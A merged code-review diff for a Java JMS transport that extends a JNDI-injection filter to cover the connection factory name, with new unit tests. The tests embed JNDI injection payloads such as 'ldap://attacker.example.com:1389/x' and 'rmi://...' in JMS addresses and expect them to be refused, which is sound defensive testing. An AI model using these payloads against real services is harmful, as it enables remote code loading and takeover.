Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -34,11 +34,13 @@
/**
* Screens a JMS target address for JNDI names that resolve somewhere remote.
* <p>
* A JMS EPR is turned into two JNDI lookups and one JNDI environment:
* A JMS EPR is turned into three JNDI lookups and one JNDI environment:
* <ul>
* <li>the destination name, which is everything between {@code jms:/} and the query
* string ({@link JMSUtils#getDestination}),</li>
* <li>the reply destination named by {@code transport.jms.ReplyDestination},</li>
* <li>the connection factory named by {@code transport.jms.ConnectionFactoryJNDIName},
* looked up when the sender has no configured factory for the address,</li>
* <li>{@code java.naming.provider.url}, which says where names resolve.</li>
* </ul>
* JNDI resolves a name carrying a URL scheme through that scheme's URL context
Expand Down Expand Up @@ -93,6 +95,12 @@ static String rejectionReason(String targetAddress) {
return reason;
}

reason = checkLookupName("connection factory name",
properties.get(JMSConstants.PARAM_CONFAC_JNDI_NAME));
if (reason != null) {
return reason;
}

String providerUrl = properties.get(Context.PROVIDER_URL);
String providerScheme = schemeOf(providerUrl);
if (providerScheme != null && REMOTE_JNDI_SCHEMES.contains(providerScheme)) {
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -55,6 +55,17 @@ public void testRemoteSchemeAsReplyDestinationIsRefused() {
assertRefused("jms:/Queue?transport.jms.ReplyDestination=ldap://attacker.example.com/x");
}

/**
* Looked up by JMSOutTransportInfo.createJMSSender, which the sender reaches when
* transport.jms.ConnectionFactory names no configured factory.
*/
public void testRemoteSchemeAsConnectionFactoryNameIsRefused() {
assertRefused("jms:/Queue?transport.jms.ConnectionFactory=none"
+ "&transport.jms.ConnectionFactoryJNDIName=ldap://attacker.example.com:1389/x");
assertRefused("jms:/Queue?transport.jms.ConnectionFactoryJNDIName=rmi://attacker.example.com/x");
assertAccepted("jms:/Queue?transport.jms.ConnectionFactoryJNDIName=QueueConnectionFactory");
}

/** The provider URL decides where every name resolves, including plain ones. */
public void testRemoteSchemeAsProviderUrlIsRefused() {
assertRefused("jms:/Queue?java.naming.provider.url=ldap://attacker.example.com:1389");
Expand Down